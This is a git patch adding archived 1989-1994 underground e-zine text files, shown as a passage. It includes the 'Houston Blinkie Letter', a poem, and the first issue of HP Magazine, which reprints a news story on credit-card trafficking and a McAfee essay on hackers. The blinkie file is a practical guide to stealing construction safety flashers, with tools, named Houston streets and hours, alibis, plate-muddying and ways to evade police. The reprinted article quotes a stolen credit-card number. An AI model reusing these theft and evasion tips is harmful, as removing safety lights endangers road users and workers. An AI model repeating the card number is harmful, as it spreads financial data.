From 19b74dcb27ea4d9947170f316a42183ebbf4f8f7 Mon Sep 17 00:00:00 2001 From: OPSXCQ Date: Fri, 19 Jan 2018 05:58:51 -0300 Subject: [PATCH] update --- textfiles.com/magazines/ONESHOTS/hbl.txt | 149 + textfiles.com/magazines/ONESHOTS/hob39.txt | 73 + textfiles.com/magazines/ONESHOTS/hp-asc.txt | 876 ++++ textfiles.com/magazines/ONESHOTS/hu.txt | 2485 +++++++++++ .../magazines/ONESHOTS/i-diseases-03.txt | 3799 +++++++++++++++++ textfiles.com/magazines/ONESHOTS/inhale01.txt | 524 +++ textfiles.com/magazines/ONESHOTS/ipo01.txt | 549 +++ textfiles.com/magazines/ONESHOTS/issue.001 | 1 + textfiles.com/magazines/ONESHOTS/issue1.dta | 864 ++++ textfiles.com/magazines/ONESHOTS/itd-1.1 | 261 ++ textfiles.com/magazines/ONESHOTS/jam.001 | 183 + textfiles.com/magazines/ONESHOTS/k0de0002.txt | 135 + textfiles.com/magazines/ONESHOTS/keepers-01 | 2155 ++++++++++ textfiles.com/magazines/ONESHOTS/klis01.txt | 248 ++ textfiles.com/magazines/ONESHOTS/kn-01 | 83 + textfiles.com/magazines/ONESHOTS/knknk.2 | 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textfiles.com/magazines/ONESHOTS/wagjul94.txt create mode 100644 textfiles.com/magazines/ONESHOTS/wami-001.txt create mode 100644 textfiles.com/magazines/ONESHOTS/wword01.01 create mode 100644 textfiles.com/magazines/PAB.1 create mode 100644 textfiles.com/magazines/PAB/.windex.html create mode 100644 textfiles.com/magazines/PAB/pab1.txt diff --git a/textfiles.com/magazines/ONESHOTS/hbl.txt b/textfiles.com/magazines/ONESHOTS/hbl.txt new file mode 100644 index 00000000..6d5c62d3 --- /dev/null +++ b/textfiles.com/magazines/ONESHOTS/hbl.txt @@ -0,0 +1,149 @@ + + Houston Blinkie Letter +--------------------------------------------------------------------------------dctober 7 American Nihilist Underground Society 1989 +-------------------------------------------------------------------------------- ssue One Number 1 -------------------------------------------------------------------------------- Welcome +------- + +Welcome to all readers of HBL! This is a magazine dedicated to the study and pilfering of the common species of night-time safety flasher, otherwise known as a "blinkie." These ingenious devices have been found all over most American cities and towns, usually near construction. Since they're easy and fun to steal, most ANUS members posess at least one. + +This magazine supports the theft of and distribution of information about blinkies, and we encourage those of you interested in late-night adventure to read on. + +Common Theft/by CC +------------------ + +The easiest way to get a blinkie is to steal it. In Houston, this is most fun, because (a) Houston cops love beating on kids, and (b) what the hell else can you do in Houston? There are basically three steps to pilfering blinkies: scouting, preparation and theft. The execution of each with attention to detail is necessary, since one slip-up can mean a police shoe in the balls or face. I'll summarize in the following paragraph. For those of you who want more info, read my extensive file on the subject. It's up on some (puke) Houston Apple boards. + +scouting- Take a drive, and look for blinkies in secluded areas with basically a good escape route. Avoid major streets with lots of cars with light bars. Check out the blinkies, too, and make sure they're in fairly good condition. No one wants a looser blinkie. Best places to look are around construction sites or pothole-infested streets. There'll be at least one cache in your area. + +preparation- Get together an alibi for your parents, your tools, clothes, means of transport and blinkie bag. The easiest way is to stay at a friend's house, or to work on a SafeRides project or similar late-night endeavor. Your parents will either trust you, or check up on you and want a phone number. In Houston, finding one is easy, since any number in the 234 exchange is always busy. Your parents will never figure it out. Your tools may vary, depending on the blinkie type(s) and area. Clothes are easy: shorts/jeans depending on weather, a dark polo or concert shirt and good shoes, such as battered sneakers but not something obvious like combat boots. No camo. Find yourself some means of transportation, like your own car (easy) or a friend who also suffers (?) from kleptomania. Also, pick up a blinkie bag, such as a canvas sack or thick backpack on your way out. + +theft- Go late at night, and park your car nearby. Jump out, turn off and unscrew the blinkies, and lay them in a safe spot. Collect them in your blinkie bag, and sprint back to your car. The whole thing should take less than fifteen minutes. Move on to next site. + +As you can see, the process is not that hard. Go for it. It's not that dangerous, except that sometimes Houston cops will try to seriously dick you around, rape you if you're drunk, or just kickbox your testicles. The answer is not to go in your car. If they accost you, run. Remember the song: "Over the fence and through the woods to Grandmother's house we go..." Easy. + +Common Tools +------------ + +There are several types of bolts you must be prepared to deal with. + +Joke Bolt + +This is your common octagonal bolt. A generic socket wrench with a 19 mm / .75 inch cup will easily take off this puppy. Since these bolts are so incredibly lame, the Creators of Blinkies have put little "safe sex" cups around them. Who cares? You socket wrench should easily fit inside it. + +Figure Eight Bolt + +As the name implies, this bolt looks like a figure eight. It appears that a specialized tool is needed for this one, but figure on needle-nose pliers working just as well. + +Penis Bolt + +This bolt has a round, circumcised head with a pentagon cut in the tip. In the middle of this pentagon is a circular protrusion. Beats me what kind of tool get this one, but the bolts suck, and as a result do not tighten completely, and these blinkies can usually be wrestled off in less than two minutes. + +Incredibly Easy Bolt + +This is an octagonal bolt with sheath, usually sticking straight out of the sawhorse the blinkie is on. Give it a good jerk, or just crank it with your hands. + +These bolts are used to secure blinkies to wood or plastic sawhorses, barrels, signs or barricades. Since construction workers have to move them, too, the bolts are usually accessed with a easily-availible tool (at least to construction workers). This fact works for you, since whatever they can get we can make/fake/steal. + +That's it, and good luck! If you need more info, call one of the ANUS boards in Houston when they go back up and we'll be glad to hold a workshop for you! + +Recent runs +----------- + +Recent runs by Houston ANUS members or members-in-training netted a total of twenty five blinkies over a two-weekend period. Naturally, this sucks, but since most of us attend seriously evil schools, work has slowed us down a bit. +Captain Crapp, Chromatic Death and Royal Flush snagged ten red blinkies in a recent run trying out a new location, and pronounced the area to be "sweet." + +Safe Areas In Houston +--------------------- + +Memorial Drive from Fondren to Voss- This area is full of beautiful, blue blinkies. Since the people who live here are financially secure in a big way, the city put their best out. The best time to go is three-thirty A.M. to five o'clock, since at this time there are few cars and pig ("police") patrols drop off to infrequent. As you go down Memorial eastbound, select a side street (they're all residential) and park there. Walk along, loosening and turning off blinkies. Then, grab the bag and get 'em all. These blinkies are prime Valdez blues, with Hercules Industrial Strength batteries. + +Voss- Red blinkie city. These aren't in as good shape as the ones on Memorial, but there are plenty of them and many more side streets. Snag them late at night, and don't worry too much about pigs. There are no donut shops in the area. Your easiest way out is the freeway, but Voss also runs straight down to Westheimer. + +Post Oak at I-10- This area is a massive construction project, and has tons of red blinkies. It is almost completely safe, since the construction is an acre triangle surrounded on two sides by freeways. If anyone shines a light in your face, run deep into the construction. There are a plethora of hiding places and you cannot be seen from the road. Turn off your blinkies and you will not get caught. The best time to go is as soon as it gets really dark. + +Tanglewood- This area is off of San Felipe, and has many small, one- or two-blinkie streets. Scout beforehand and be out quick. + +River Oaks- Surprise! This area is undergoing construction for the rich fat cats, and as a result various natures of blinkies are appearing on cheapshit plastic sawhorses. Simply unscrew the cheap plastic flap that secures the blinkie to the sawhorse, and load up your vehicle. The River Oaks Police aren't; they are just security guards. Mud up your license plate and head out there. Be careful, however, since most residents have millions of dollars worth of useless shit (faux art, stereo equipment, dogs, children) stuffed in their mansions, and most are paranoid. + +Other News +---------- + +Houston's two big construction projects are winding down, but more are soon to come. The beautiful thing about this fact is that the new ones promise to be in decently sleazy neighborhoods where the pigs don't patrol! Remember, no donut shop -- no police protection. + +Definitions +----------- + +Over the years, a definite vocabulary has evolved. Here are a few definitions: + +blinkie- small, blinking object found at construction site. Also: Hamster in microwave. + +pig- police officer, peace officer, officer, motherfucker, dickweed, protector, jackoff...whatever you want to call them, this is simply a euphemism for "asshole with a gun and a badge." + +pigmo- police car. + +bingos- lights on top of said car. + +bacon rinds- off-duty "pigs." (see above) + +baco-bits- security guards pretending they're cops. + +dink- citizen who screams at you for stealing blinkies from his yard. + +rent- an older relative who asks you where you're going. + +flick- common hand signal for communicating with "pigs." + +sweetness- an area populated with blinkies or pussy you happen to pick up on the way. + +brew- post-run celebration (libations?). + +blinkie run- the act of stealing one or more blinkies. + +blinkie fuck- getting caught in the act. Bad for college transcripts. + +blinkie bust- getting rained out or caught by parents. + +penis- pre-run pacifer. Insert in mouth if nervous. + +dickweed- person who posts a message following this text file saying, "Oh my god!!!1!!!!11!! Thats stealing!!!!1!!" + +A Little Info About ANUS +------------------------ + +The American Nihilist Underground Society is an organization dedicated to making the shit life tosses at you more bearable. We're headquartered in Houston, but we plan expansion soon. If interested, find an ANUS member and let him know. We are equal opportunity people: we don't discriminate like some shitheads on the basis of race, sex or religion; instead we discriminate by testicle size, IQ and depravity. + +We're the people who bring you quality entertainment such as TURD, SPOO and BlinkieFest '89. Also, we are a Beatrice company. + +Quote +----- + +"I'm on a highway to hell..." + -Bon Scott + +"I used to think that only America's Way, + Way was right, + But now the Holy Dollar rules everybody's lives, + Gotta make a million no matter who dies!" + --Queensryche + +"If it's not nailed down, it's free." + --Captain Crapp + +Conclusion +---------- + +We've had a lot of fun writing this issue and hope you enjoy reading it as much as that poor clueless shit we tried it out on. You may notice that this article is written in fairly complex language. This practice is to discourage intelligent people out there (hello?) from passing us off as another group of bored tyros with nothing better to do and a busted TV set. + +Look for another issue in the future, but in the mean time, keep on blinkie running, and let us know is any new developments or ideas come up. Thanks. + + +Authors +------- + +Captain Crapp +Chromatic Death +Royal Flush + +"Have a nice fucking day" -- 10/7/89 + +(> \ No newline at end of file diff --git a/textfiles.com/magazines/ONESHOTS/hob39.txt b/textfiles.com/magazines/ONESHOTS/hob39.txt new file mode 100644 index 00000000..b8e72130 --- /dev/null +++ b/textfiles.com/magazines/ONESHOTS/hob39.txt @@ -0,0 +1,73 @@ + ...::::....::::::::........::.........:::.. + | : ø ø : ~,~~ + - (.) - : ø ø ø ø : /-)( + | t-file : ø Hallucinatory Oyster Burrito ø : ()= + assault : ø ø ø : HOOKA! + .:.....:......::::........:::........:::.:. + 25 October 1994 Issue #39 + + +This is something that appeared on the Necropolis but I thought +I'd slip it into an HOB. It is pretty much self-explanatory: + +Date: 1:25 am Mon Mar 28, 1994 Number : 131 of 131 +From: Sorc Sub : ... jane says +To : All Refer #: None +Subj: my own poetic contribution BOngHiT: None +Stat: Normal Origin : Local + + +Seeing the recent tide towards poetry and since I've been feeling oh-so-full +of boundless creativity, I decided to put pen to paper and produce something +that I plan on submitting to _Oakleaves_, the annual GlenOak creative writing +fest. Of course it has to do with my suspension and subsequent removal from +the debate team. Here it is: + +oxymoron - a word that i'm allowed to use +in the glenoak world of don'ts and do's +this oakleaves concept i peruse +is another proposition where i can lose + +oakleaves, i accept your invite +but what am i allowed to think? +what am i allowed to write? +there can never be creative contemplation +when my own personal expression +can jeopardize my graduation. + +aesthetic portrayal of my contention +is undermined by threats of suspension. +instead of thinking about how i should write, +i have to decide if my text is all right. + +what provokes the system i buck? +how did i violate the code of conduct? +what scholastic responsibility did i duck? +i think its because i used the word fuck. + + +Of course, in the version I'm submitting, I've omitted the word fuck but +hopefully the rhyme-scheme will illustrate that point. + + + + + `'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`' + Hallucinatory Oyster Burrito +An AUFHEBEN Production! support: tyrant: numbah: +"Why, I don't know much of The Seinsfrage .. HOB WHQ!.. 216.966.7453 + anything!" -Eraserhead Radio KAOS ... Moonshadow .. 216.830.4657 + + _Submission Policy_: Hallucinatory Oyster Burrito is into subs! + If you write something - anything - send it to us and we'll get it + to press. For contacting HOB, see below. + Want to be a support board for HOB? Download ALL the HOB's and DDE's + create a file sig on your board, and let me know. Your BBS will + be listed. TO CONTACT US: Call the WHQ (The Seinsfrage) or you + can send e-mail to Bogus Nomenclature on Radio KAOS. Internet + address is coming soon! + `'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`' + + +-eof- + diff --git a/textfiles.com/magazines/ONESHOTS/hp-asc.txt b/textfiles.com/magazines/ONESHOTS/hp-asc.txt new file mode 100644 index 00000000..bc8fea10 --- /dev/null +++ b/textfiles.com/magazines/ONESHOTS/hp-asc.txt @@ -0,0 +1,876 @@ + + Genghis Khan Presents.... + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ ³ ³ ³ + ³ ³ ³ ³ + Û³ ³ Û³ ³ + Û³ ³ Û³ ³ + Û³ ÀÄÄÄÄÄÄÄÄÙ ÃÄÄÄÄÄÄÄÄÄÄÄÄ¿ + Û³ ³ À¿ + Û³ ³ À¿ + Û³ ³ À¿ + Û³ ³ À¿ + Û³ ³ ÚÄÄÄ¿ À¿ + Û³ ³ ³ÛÛÛÀ¿ À¿ + Û³ ÚÄÄÄÄÄÄÄÄ¿ ³ ³ ÛÀ¿ ³ + Û³ ³ÛÛÛÛÛÛÛÛ³ ³ ³ Û³ ³ + Û³ ³ Û³ ³ ³ ÛÚÙ ³ + Û³ ³ Û³ ³ ÀÄÄÄÄÙ ÚÙ + ÛÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÛÀÄÄÄÄÂÄÄÄÄÄÄÄÄÙ ÚÙ + ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛ ÚÙ + ÚÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄ¿ Û³ ÚÄÄÄÄÄÄÄÄÙ + ³VOLUME 1³ ³ ISSUE 1³ Û³ ³ÛÛÛÛÛÛÛ + ÛÀÄÄÄÄÄÄÄÄÙ ÛÀÄÄÄÄÄÄÄÄÙ Û³ ³ + ÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛ Û³ ³ + Û³ ³ + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ Û³ ³ + ³WRITTEN AND EDITED BY³ Û³ ³ + ³ GENGHIS KHAN ³ Û³ ³ + Û³ TERM INAL ³ ÛÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + Û³ CIRCUIT BREAKER ³ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + ÛÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + + + + HP MAGAZINE (C)1991 ALL RIGHTS RESERVED + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + + + + + + + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +ÚÄÄÄÄÄÄÄÄÄÄ¿ +³DISCLAIMER³ +ÀÄÄÄÄÄÄÄÄÄÄÙ + + All Information Contained In This File Is Intended For Informational +Purposes Only. Any Other Use Of The Information Is the Product Of The Reader. +HP Magazine, Genghis Khan, Circuit Breaker, Term Inal, Nor Anyone Else +Responsible For The Writing Of This Magazine Condone Hacking, Phreaking, Or +Any Other Illegal Activities. Although, This Magazine Is Protected Under The +Freedom Of The Press. Information Printed In This Magazine Is Protected By +The Constitution. Just A Word Of Advice For Those Intending On Pursuing +Material Contained Heirin. + + + + -Genghis Khan, Circuit Breaker, Term Inal + -HP Staff +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³WHY ANOTHER MAGAZINE?³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + In the underground, there can never be enough magazines. +I have read a large majority of them, with the best being +Phrack, LOD Technical Journal, and Phun to just name a few. +I have also read total flops, magazines that a little kid +could write and probably did. My intentions, for this +magazine is to cover some of the topics that others magazines +have not, in a clear, easy to understand format. + I have been in the underground for a while now. I am +not new, but no one ever knows everything and I am always +open to people's ideas. The underground needs to go through +a reform in the 90's. It is really ludicrous that we fight +against ourselves when that anger could and SHOULD be +directed towards law enforcement. If people spent the time +they use fighting amongst themselves, and directed that +energy and time to a fruitful cause such as scanning, +hacking, or writing text files, the underground would be a +much more advanced place. + + + -Genghis Khan + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³LAW & LEGISLATION³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + Due to an increasing amount of law and legislation +designed to deter hackers, I will ask that anyone who comes +across any new legislation to please send it to us. I would +also like to keep tabs on the status of Caller ID. Which +states have it? Which states is it pending? + It seems as though the government has declared war on +the underground. Let's try and stay one step ahead of them. + I would also like to hear from anyone who was busted in +Operation Sundevil. In a future issue I hope to spotlight +that. + + -Genghis Khan + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + +ÚÄÄÄÄÄÄÄÄÄÄÄ¿ +³IN THE NEWS³ +ÀÄÄÄÄÄÄÄÄÄÄÄÙ + + This will probably be your favorite section. If you +have been out of the scene for a while, this section will +tell you what is going on. + I would like to compile a list for H/P, of all the +groups in the United States and Canada. The groups must be +HP though. I will NOT spotlight warez groups although if +your group combines the two then fine. Please include what +type of people you are looking for, modem speed, +headquarters, NuP, specialtys, etc. + I am including in this issue a magazine article that +everyone should be interested in about TymNet and Credit +Card Fraud. I'll let you make up your mind on it, but +some of you had better watch who you are trading with +on QSD and Lutzifer. + Speaking of TymNet, let's face it. NUI's are pretty +scarce. I read an article that said Microwire received a +$350,000 fone bill. the T.HONxxx nuis go up and down. If +anyone has a NUI hacker I would be VERY interested. + I have also included some articles from the book John McAfee +wrote titled, "Computer viruses, worms, trojan horses, and +other threats to your system", or something like that. +If you aren't familiar with John McAfee, he is the one who +writes and publishes the SCAN, CLEAN, MDISK type of anti-virus +utilities. + If anyone has ever dealt with the EFF, (Electronic +Frontier Foundation), please send me any information +possible. I know that have helped a lot of people and if +anyone tries to say anything about this magazine, well first +off, they can kiss my ass, second, if it's some 3-letter +agency, I would like to be prepared. It is my right by +freedom of the press to publish whatever I damn want to. If +you have something to say about this magazine or any +magazine, you should listen to yourself and then write a +better one. Until you do that, you have no room to talk. + + + -Genghis Khan + + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³Computers Feed International Credit Card Fraud³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + By Joe Abernathy + Houston (Texas) Chronicle + May 19, 1991 + + + A new international den of thieves linked by computer may be going to town +with your credit card. + Stolen credit card and other account information is both currency and +commodity in this technological underworld, which is giving rise to the +specter of offshore "data havens" outside the ready grasp of the U.S. law. + "Once the hackers get some live numbers, they trade," said Jim Steele, +Mastercard's director of security for the central United States. "It's a real +problem." + + Secret Service Agent Tom Moyle agreed, calling the potential for public +harm, "tremendous." + + The new data havens represent a kind of hacker's bazaar, where many +participants don't even share a language. But words aren't needed when +numbers do the talking. + + In a home near you, a hacker may be staring at a monitor with a list of +pseudonyms and nationalities. At the touch of a key he can excahnge purloined +credit card information with a comrade in Finland. + + "MasterCard 5424 1800 2674 5624 exp 9/91 Thomas Wright," read one recent +message, typical of the lot. + + (The phrase "computer hacker" originally was a characterization proudly +claimed by computer hobbyists, with its roots in the hacked together nature of +early computer exploration. It is still used in some computer circles, but in +the law and popular vernacular it is now usually understood to describe people +who gain unauthorized access to computer systems for fraudulent purposes.) + + One overseas gathering point offers over 400 megabytes of software for +copying, representing hundreds or thousand of stolen titles. + + Each of the data havens is actually a computer in somebody's home or +business. They have names - QSD, Lutzifer - and serve as electronic +communities. + + The "citizens" are physically located continents apart, while +communicating in an electronic forum that has been convened in a third world +country. Calls may even be routed through a fourth nation for additional +security, with each step in the process making law enforcement's job more +difficult. + + "Try getting Israel to cooperate with an Arab country for an +investigation," said one hacker, laughingly describing the logistical +nightmare authorities face. "Or go through South Africa and try to get anyone +to cooperate with them." + + Authorities must get a search warrant or permission to conduct +surveillance at each step in the communications link. And that may not even +be possible - not every nation has a legal structure designed to respect +credit ratings and intellectual property. + Those making use of the data havens are doing so through the commercial +communiations network designed specially to link computers around the world. + To customers, these networks are known as Telenet, Sprintnet, EasyLink +(Southwestern bell) or TymNet; generically, they are called "x.25 networks" +for the technical standard describing details of their operation. + "Those systems are set up simply as a vehicle to communicate," said Moyle, +supervisor at the Secret Service fraud devision. "If you sign up, get an +account and pay your monthly bill, you've got very clean data transmission +lines and you can talk to a variety of places for a variety of reasons. + "You've got business folks using those lines, folks involved in research. +That's the legitimate use for them, messaging. You're connecting up to +bulletin boards, is all you're doing." + Most of those calling the overseas fraud boards via the x.25 networks are +stealing air time from service providers and their customers - a fact that has +helped attract investigative agencies to the scene. One company had to pay a +$350,000 bill recently for hacker phone calls. (GK-That had to be Microwire!) + "A lot of the three-letter agencies are there," said Don Murtaugh, chief +of security for British Telecom International, the parent of TymNet. "Because +we're still pursuing it, you hate to say too much." + Using a variety of plays, hackers created user accounts and hacked into +accounts of legitimate users. Account names and passwords were passed around +for others to use. + "Many of the IDs were IDs that customers had and had stopped using or +failed to cancel," said Murtaugh, explaining that the customer is liable for +the bills run up by using x.25 phone accounts. "If you look at the number of +those (stolen accounts) it was in the hundreds. We found ourseles being +violated." + Murtaugh confirmed that federal agencies making inquiries include the +Secret Service, Central Intelligence Agency, FBI and National Security Agency. + The CIA, FBI and NSA refused to comment. + So many agencies are interested. The Secret Service specializes in fraud +investigations, for example, and the CIA worries with external security. + The NSA, an ultrasecret agency nominally charged with decrypting +intercepted foreign communications, is widely believed in the computer science +community to engage in routine monitoring of communications throughout the +world's computer networks. + "It's a felony to possess 15 or more credit card or telephone access +numbers," said Moyle, explaining the law most likely to be invoked for +trafficking in access device numbers - the name collectively given to such +things as credit card numbers and computer passwords. + "Simple possession is a felony, let alone actually using them. If you +traffic in or use one or more and the aggregate value of loss is $1,000 of an +access number, then that meets the black and white statute also." + The only problem with the rule of 15, Steele said, is that it only applies +in the United States. The data havens operate overseas. + He added that the $1,000 threshold can be reached by one typical +merchandise order placed on a stolen credit card number by one computer +hacker. And each stolen number may be used repeatedly by any number of +hackers over a period of weeks. + "It's not like a person was mugged," he said, in which case a stolen card +would be canceled quickly, typically taking a maximum hit of only $1,500. + "If somebody posts your number on a bulletin board, you're not going to +know until the next billing cycle. That's why the significance of the dollar +loss can be greater for that kind of crime." + Computer hackers have trafficked in credit cards and other access device +numbers for as long as there have been hacker bulletin boards. Often, the +information they trade in their high-tech haunts comes from a tool as low-tech +as "dumpster diving" - rummaging through a store's trash for credit card +carbons. + Because stolen account numbers are so easy to obtain by these less +sophisicated means, hackers are only a part of the overall problem, Steele +said. Precisely how much is difficult to measure. + Of the $301 million MasterCard lost to fraud in 1990, $26 million occurred +through telephone sales, which is the most common technique hacker's emply. +"Counterfeiting" of cards, another popular ploy in which a stolen number is +usually superimposed over an old card, accounted for $33 million is losses. + And, of course, MasterCard is only one credit card company. Visa is +nearly twice its size. + "There are some real scam artists who use the bulletin boards as a way to +get live access devices," said Steele, a former Secret Service agent. "There +are others who look at penetrating any system as a challenge - they post some +information just to say, hey look, I can do it. + "But of course when you post that information, you've got proprietary +information that can be financially damaging, military records, things like +that." + The electronic mail and other documents of at least one Secret Service +employee were allegedly compromised by a TymNet hacker. He used an internal +network management tool to monitor this agency employee while he was using a +computer either at home or one the job. + The inspector's office of the Secret Service launched an internal +investigation after being informed by the Houston Chronicle of the apparent +breach. Inspectors would not comment on the investigation. + Information concerning the credit card trafficking and abuse of the x.25 +networks came to the attention of the Chronicle during a series of telephone +conversations and meetings with members of the computer underground in +Houston, San Francisco and New York. The information was used to parlay +further details from security officials and others. + Activities within the data havens were monitored by a reporter online. +MasterCard security officials and the issuing institution were alerted to the +stolen credit card number printed in this story. + "The individuals who are involved in this world, are very bright and very +inquiring by nature," said Moyle of the Secret Service. "There's an +attraction to dealing with folks in different countries because it provides a +different perspective, a different learning base, a different knowledge base +to inquire about." + "We certainly have no objection to normal sharing or learning. Where they +come to our attention and invoke our wrath, if you will, is when they cross +over the border - the legal border not the geographic border." + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³THE HACKER PROFILE³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + By John McAfee + + +The intellectual skills of the hackers invite respect, and most of them would +not dream of acting maliciously. But there are many who may be regarded as +social misfits because of the dominant role that computers play in their +isolated lives. This isolation and inevitable introversion in personality +appear particularly prevalent among hackers operating on the dark side, who +irresponsibly break into systems for personal gain or to spread viruses. They +often shun conventional human contact and tend not to make friends or have +social interchanges apart from interaction on electronic bulletin boards. + One programmer - call him Joe - was recruited through the National +Bulletin Board Society, and he typifies this hacker reclusiveness. Joe +stipulated in his contract that he would never meet or discuss his work +person-to-person with his client, even by telephone. Joe's programming was +extremely elegant and precise, and he could complete even complex tasks within +days when average programmers might take weeks. He was obviously a name of +extreme intelligence and ability, but he just could not cope with human +contact in the conventional sense. However, he relates strongly to computers +because, like many hackers, they have become animate things, more satisfactory +and dependable in many respect than humans. + The complexities of these extreme relationships between hackers and their +machines mirror the complexities and intensities to be found in conventional +interpersonal relationships. Joe, for example, despite his extreme antisocial +attitude, loved computers and would never consider planting a virus that might +compromise a system's integrity. Indeed, he was so precise in everything to +do with computing that he could not tolerate the fact that the internal clock +on one of his client's systems was not absolutely accurate, and he felt +compelled to leave his own keyboard to fix it. + After another hacker, Kevin Mitnick, was arrested and charged with +breaking into Digital Equipment Coporation's system, the Los Angeles Times +reported that when the investigator for the Los Angeles County district +attorney's office accused him of harming a computer, tears came into his eyes. +The investigator, Robert Ewen, described Mitnick as having an umbilical cord +from the computer to his soul, becoming a giant when he got behind a keyboard. + Hackers with such personalities who spread viruses do not consider +themselves to be attacking computers per se, but the people and organizations +using them are the ones they perceive to be the real enemies. The potential +threat from a reclusive personality obsessed with computing - indeed, addicted +to it - when coupled with a real or imagined gradge against big business, the +government, or against the computing community establishment as a whole is +similar to that of the snipers who take revenge by indiscriminately firing on +crowds. A virus give the maverick hacker a powerful weapon against perceived +enemies. + There are indications from the monitoring of bulletin board activity that +some of the lonely hackers are striking up somewhat formalized relationships +with other of their kind to develop ever-more potent virus programs. The +viruses show a distinct trend toward becoming more malicious, dangerous, and +hostile. However, it is still unclear whether the primary perpetrators of the +worst viruses are mainly individuals or groups. There are underground hacker +organizations that bring together antisocial individuals who pool their skills +to create viruses. Such collaboration became a feature of hacking in the late +1970s and the early 1980s, before virus programs were being written on any +scale and when the prime interest was simply breaking into secure systems. +But the main threat at this stage of the virus epidemic still appears to be +from individuals hostile to society who work entirely alone, alienated from +direct contact with others, who write viruses as an extension of the hacking +activites that form their substitue for conventional social intercourse. +These lone hackers are almost impossible to identify. + There is a schism opening up between different types of hackers as a "good +guy versus bad guys" situation develops. The malicious hackers find it +creative and exciting to write viruses and to spread them; however, others are +finding it even more stimulating to try to thwart their evil intentions. It +is becoming thrust and parry as the virus writers come up with new techniques +and the "good hackers" counter with ways to combat them. Increasingly, the +good guys are counterattacking, making preemptive strikes with programs +containing protection features that anticipate the next phase of virus +offensives. + Generally, hackers do not fit into any of the traditional social grouping +or psychological stereotypes, which make it difficult for the security +specialists, for whom they have become serious adversaries, to understand they +motivations. Hacking is not just a hobby or area of interest, but often +becomes a dominant lifestyle to which its participants make a strong +commitment. Many spend all night, alone at their computer, devising fiendish +programs and trying to break into other people's systems. Their activities +seem incomprehensible to those not fascinated by computers or who simply use +them as the tools of their trades. + Hacking is now so widespread that there is a hacker in nearly every +neighborhood. A seemingly innocent teenager, who appears to be working late +on a school project while the rest of the family is watching television or has +gone to bed, may well be creating a malicious virus program and trying to run +it in a system at IBM, General Motors, or the Pentagon. + Hacking is predominantly a male activity which parallels intellectually +the physical excitement of big game hunting - tracking a quarry, pursuing it +until it is cornered and then - with the virus a new and powerful weapon - +making a kill. The main difference in the electronic expression of basic +hunting urges is that one has much more control of the odds, and losing out to +an adversay involves little physical risk. As with video games, a player can +be zapped out, yet immediately rise to do battle again. There is a merging of +fantasy and reality, typified by the macho 